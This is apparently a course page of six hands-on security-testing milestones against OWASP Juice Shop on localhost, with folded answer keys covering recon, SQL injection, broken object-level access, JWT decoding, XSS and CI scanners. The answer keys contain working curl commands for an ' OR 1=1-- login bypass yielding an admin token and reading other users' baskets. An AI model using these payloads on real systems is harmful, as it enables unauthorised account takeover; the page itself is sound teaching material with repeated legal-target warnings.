Skip to main content

Security Testing Milestones & Mini-Projects

In short: six projects on OWASP Juice Shop, running on your own machine. Tasks show the expected result; answer keys are folded away. The results shown were captured from Juice Shop v20.2.0 โ€” the app is updated often, so your version and details may differ.

Legal targets only

Every task here is on Juice Shop (built for this) on localhost, or on the free PortSwigger Academy. Never run these against systems you don't own or have written permission to test.

How to use this page

Start Juice Shop (docker run --rm -d -p 3001:3000 --name juice bkimminich/juice-shop), open http://localhost:3001, and find the hidden scoreboard (/#/score-board) โ€” it tracks the challenges you solve. First read each milestone in the Roadmap.

Contentsโ€‹

Throughout, J=http://localhost:3001.


Milestone 1: Recon & baselineโ€‹

Practises: scoping mindset, headers, error leaks, the baseline checklist.

#TaskExpected result
1Get the app version{"version":"20.2.0"} (or newer)
2Check security headers on /X-Content-Type-Options and X-Frame-Options present; CSP and HSTS missing
3Trigger an error in product search500 with a SQLite error message
4Run the whole baseline checklistSeveral issues noted
5Find and open the hidden scoreboard/#/score-board loads
Answer key
J=http://localhost:3001
curl -s $J/rest/admin/application-version # {"version":"20.2.0"}
curl -sI $J/ | grep -iE 'content-security-policy|strict-transport|x-frame|x-content-type'
# X-Content-Type-Options: nosniff
# X-Frame-Options: SAMEORIGIN (no CSP, no HSTS)
curl -s "$J/rest/products/search?q=test')--" -w " [%{http_code}]\n" | head -c 90
# <title>Error: SQLITE_ERROR: incomplete input</title> [500]

Findings so far: missing CSP (A05), missing HSTS (A02), verbose SQL error (A05, and a hint of A03). These alone are a useful baseline report.

Try it: check the cookies Juice Shop sets (curl -sI $J/ | grep -i set-cookie). Do they have HttpOnly, Secure, SameSite?


Milestone 2: Injectionโ€‹

Practises: finding and confirming SQL injection.

#TaskExpected result
1Log in with email ' OR 1=1-- and any passwordHTTP 200; logged in as admin@juice-sh.op
2Explain, in one sentence, why it worksThe email breaks out of the SQL string
3Confirm the search SQLi from Milestone 1 by varying the payloadDifferent SQL errors for different inputs
4Write the finding for the login bypassSteps + proof + impact + fix
5(Bonus) PortSwigger Academy: solve the first "SQL injection" labLab solved
Answer key
J=http://localhost:3001
curl -s -X POST $J/rest/user/login -H 'Content-Type: application/json' \
-d '{"email":"'"'"' OR 1=1--","password":"anything"}' \
| python3 -c "import json,sys;a=json.load(sys.stdin)['authentication'];print('logged in as', a['umail'], '| token', len(a['token']), 'chars')"
# logged in as admin@juice-sh.op | token 717 chars

Why: the login query is built by joining strings, roughly ... WHERE email = '<input>' AND password = '...'. The input ' OR 1=1-- closes the email string, adds OR 1=1 (always true), and -- comments out the password check โ€” so the first row (admin) matches. Fix: parameterised queries, so input is only ever data.

Finding: this is the SEC-01 example in the cheat sheet โ€” Critical, full account takeover.

Watch out for: the shell quoting of ' OR 1=1--. The '"'"' sequence in the examples is how you put a single quote inside a single-quoted string.


Milestone 3: Access control & authโ€‹

Practises: BOLA/IDOR, JWT inspection, brute-force/rate-limit checks.

#TaskExpected result
1With one token, read baskets 1, 2 and 3All return 200 โ€” a BOLA flaw
2Decode the JWT payloadYou see the user's email and role, base64-only (not encrypted)
3Check GET /api/Users without a token401 โ€” correctly protected
4Send 5 wrong logins quickly; note status and timingNo lockout (a rate-limit finding)
5Write findings for #1 and #4; note the pass from #32 findings + 1 pass
Answer key
J=http://localhost:3001
TOKEN=$(curl -s -X POST $J/rest/user/login -H 'Content-Type: application/json' \
-d '{"email":"'"'"' OR 1=1--","password":"x"}' | python3 -c "import json,sys;print(json.load(sys.stdin)['authentication']['token'])")
for id in 1 2 3; do curl -s -o /dev/null -w "basket $id -> %{http_code}\n" "$J/rest/basket/$id" -H "Authorization: Bearer $TOKEN"; done
# basket 1 -> 200 / basket 2 -> 200 / basket 3 -> 200 โ† BOLA
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo # payload: email, role, etc.
curl -s -o /dev/null -w "GET /api/Users -> %{http_code}\n" "$J/api/Users" # 401 (good)

Finding (BOLA): any authenticated user can read any basket by id โ€” no ownership check. Fix: verify basket.userId == currentUser.id server-side.

Note the pass: listing all users needs a token. Report both โ€” coverage matters.

Try it: decode the JWT header (cut -d. -f1). What signing algorithm does it use? What would happen if the app accepted alg: none?


Milestone 4: XSS & business logicโ€‹

Practises: spotting reflected input, thinking about stored XSS, abusing rules.

#TaskExpected result
1Send <iframe> in the search query; check the responseThe tag is reflected in the JSON body
2In the browser, try the DOM XSS challenge in the search boxUnderstand where output is rendered
3Note whether a CSP would reduce the impact (from Milestone 1)CSP is missing โ€” so XSS is more dangerous
4Add an item to the basket, then change its quantity to a negative number via the APISee what happens to the total
5Write findings; suggest fixes (output encoding + CSP; server-side validation)2 findings
Answer key
J=http://localhost:3001
curl -s "$J/rest/products/search?q=%3Ciframe%3E" | grep -o "iframe" | head -1
# iframe โ† reflected; whether it executes depends on how the page renders it

XSS: input is reflected; because there's no Content-Security-Policy (Milestone 1), an executing script has free rein. Fix: encode output for its context and add a restrictive CSP.

Business logic: quantities and totals must be validated on the server โ€” never trust a value the client can change. Juice Shop has several such challenges (tampered basket totals, applying another user's coupon).

warning

Use only harmless proofs like alert(1). Never run real attack scripts, even on a practice app.

Try it: in Juice Shop, post product feedback and see whether your name/comment is shown to others unescaped (stored XSS). Use a harmless alert(1) proof only.


Milestone 5: Scanners in CIโ€‹

Practises: DAST, SAST, dependency and secret scanning; a pipeline.

#TaskExpected result
1Run a ZAP baseline (passive) scan against Juice Shop~88 URLs; WARNs incl. "CSP Header Not Set"
2Clone the Juice Shop source; run npm auditA list of dependency advisories
3Run Trivy filesystem scan for vulns and secretsHIGH/CRITICAL findings listed
4Run Gitleaks on the repoAny committed secrets reported
5Write a security.yml workflow (SAST + deps/secrets + ZAP baseline); lint itPasses actionlint
Answer key
# DAST baseline (from the host, reaching the container)
docker run --rm --add-host=host.docker.internal:host-gateway ghcr.io/zaproxy/zaproxy \
zap-baseline.py -t http://host.docker.internal:3001
# Total of 88 URLs
# WARN-NEW: Content Security Policy (CSP) Header Not Set [10038] x 5
# WARN-NEW: Cross-Domain Misconfiguration [10098] x 5
# ... FAIL-NEW: 0 WARN-NEW: 8 PASS: 59

The baseline confirms, automatically, the missing CSP you found by hand in Milestone 1 โ€” plus cross-domain misconfiguration, cacheable content and more.

The CI workflow is the one in the cheat sheet / quick reference. Gate on new HIGH/CRITICAL only.

Watch out for: an active full scan (zap-full-scan.py) sends real attacks โ€” fine against your local Juice Shop, never against production or anything you don't own.


Milestone 6: A findings reportโ€‹

Practises: CVSS, prioritising, writing a report a team can act on.

#DeliverableExpected result
1Collect your findings from Milestones 1โ€“58โ€“12 findings
2Rate each with CVSS + business contextSeverity per finding
3Write each in the finding templateRepro + impact + fix
4Executive summary: top 3 risks, counts by severityHalf a page
5Note what was correctly protectedCoverage shown
What a strong summary looks like
Target:    OWASP Juice Shop v20.2.0 (local), <date>. Authorised practice.
Summary: 11 findings โ€” 2 critical, 2 high, 5 medium, 2 low.
Top risks: 1) SQLi auth bypass โ†’ full admin takeover (Critical)
2) SQLi in product search + verbose SQL errors (Critical/Medium)
3) BOLA: any user reads any basket (High)
Also: Missing CSP and HSTS; reflected input; no login rate limiting.
Protected: Listing all users requires a token (401) โ€” correct.
Fix first: Parameterise all queries; enforce object ownership server-side;
add CSP + HSTS; rate-limit auth endpoints.

Your numbers depend on how much you found. What matters: criticals first, each finding reproducible, fixes concrete, and passes noted.

Try it: write the one-paragraph version for a non-technical manager: what's the worst that could happen, and what are the top two fixes?


Final projectโ€‹

Do a mini-assessment of a legal target end to end: Juice Shop challenges across all OWASP categories, or a run through several PortSwigger Academy topics (access control, SQLi, XSS, authentication).

Done when:

  • Written scope (even self-authored) naming the target and allowed methods
  • Findings across at least 5 OWASP categories, each reproduced with a proof
  • Baseline (passive) scanner run included and triaged
  • CVSS + business context per finding; no unconfirmed scanner output
  • A security.yml CI workflow (SAST + deps/secrets + ZAP baseline)
  • A report with an executive summary and prioritised fixes
  • Public repo (findings on a practice target only) โ€” proof you can deliver the security testing service